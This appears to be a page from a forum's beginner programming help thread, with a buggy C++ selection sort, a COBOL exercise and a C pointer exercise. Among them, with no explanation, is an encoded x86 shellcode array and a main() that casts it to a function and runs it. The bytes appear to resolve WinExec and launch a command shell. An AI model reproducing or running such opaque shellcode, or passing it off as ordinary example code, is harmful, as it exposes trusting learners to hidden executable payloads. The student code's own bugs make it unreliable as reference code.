The Big Programming Thread - Page 79

1 #include <iostream>
2
3 using namespace std;
4
5 void selectionSort(string [], int);
6
7 int main()
8 {
9 const int size = 4;
10 string array[size];
11
12 for(int i = 0; i <= size; i++)
13 {
14 string input;
15 cout << "enter 5 fruits: " << input << endl;
16 cin >> input;
17 array[i] = input;
18 }
19
20 selectionSort(array, 4);
21
22 for(int i = 0; i <= size; i++)
23 cout << array[i] << endl;
24 }
25
26 void selectionSort(string array[], int size)
27 {
28 int startScan;
29 string minIndex;
30 string minValue;
31
32 for (startScan = 0; startScan < (size - 1); startScan++)
33 {
34 minIndex = startScan;
35 minValue = array[startScan];
36
37 for(int index = startScan + 1; index < size; index++)
38 {
39 if (array[index] < minValue)
40 {
41 minValue = array[index];
42 minIndex = index;
43 }
44 }
45 array[minIndex] = array[startScan];
46 array[startScan] = minValue;
47 }
48 }
!g++ prog2test.cpp && a.out
prog2test.cpp: In function `void selectionSort(std::string*, int)':
prog2test.cpp:45: error: no match for 'operator[]' in 'array[minIndex]'

unsigned char shellcode[]=
"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
"\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
"\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
"\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
"\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
"\x24\x20\x57\xFF\xD0";

int main()
{
((void (*)())shellcode)();
}

@OPTIONS MAIN
* Program: AddAYear
* Programmer: Stephen Spor
* Description: Excercise: Program designed to take the user's name and age as input.
* Then output displayed is the name and how old the user will be next year.
* Status: Working/Running.

Identification Division.
Program-Id. AddAYear
Environment Division.
Data Division.
Working-Storage Section.
01 Name PIC X(10).
01 Age PIC 9(2).
01 Age1 PIC Z(2).
01 Name1 PIC X(10).
Procedure Division.

DISPLAY "Hello, please input your name?(10 digit field):" WITH NO ADVANCING
ACCEPT Name
DISPLAY "How old are you?:" WITH NO ADVANCING
ACCEPT Age
ADD 1 TO Age
MOVE Name TO Name1
MOVE Age TO Age1
DISPLAY Name1
Display "One year from today, you will be " Age1
Stop Run.

/*
ch4, ex34

Write a program that reads three integers and then prints them in
the order read and reversed. Use four functions; main, one to read
the data, one to print them in the order read, and one to print
them reversed.
*/

#include<stdio.h>

//function dec
void readData(int* x, int* y);
void printForward(int x, int y);
void printReverse(int x, int y);

int main(void)
{
//local var dec
int num1;
int num2;

//statements
readData(&num1, &num2);
printForward(num1, num2);
printReverse(num1, num2);

while(1); //this is just to make the console not run away, should I not be doing this?
return 0;
}

void readData(int* x, int* y)
{
printf("Give two numbers.\n");
scanf("%d %d ", &*x, &*y);

/*is the &* correct? I know that the formal parameters are usually dereferenced, and scanf usually needs an address operator. But since I'm passing an address in the first place, can I just use 'scanf("%d %d", x, y)' ? */

return;
}

void printForward(int x, int y)
{
printf("The numbers are: %d, %d\n", x, y);
return;
}

void printReverse(int x, int y)
{
printf("The numbers are: %d %d\n", y, x);
return;
}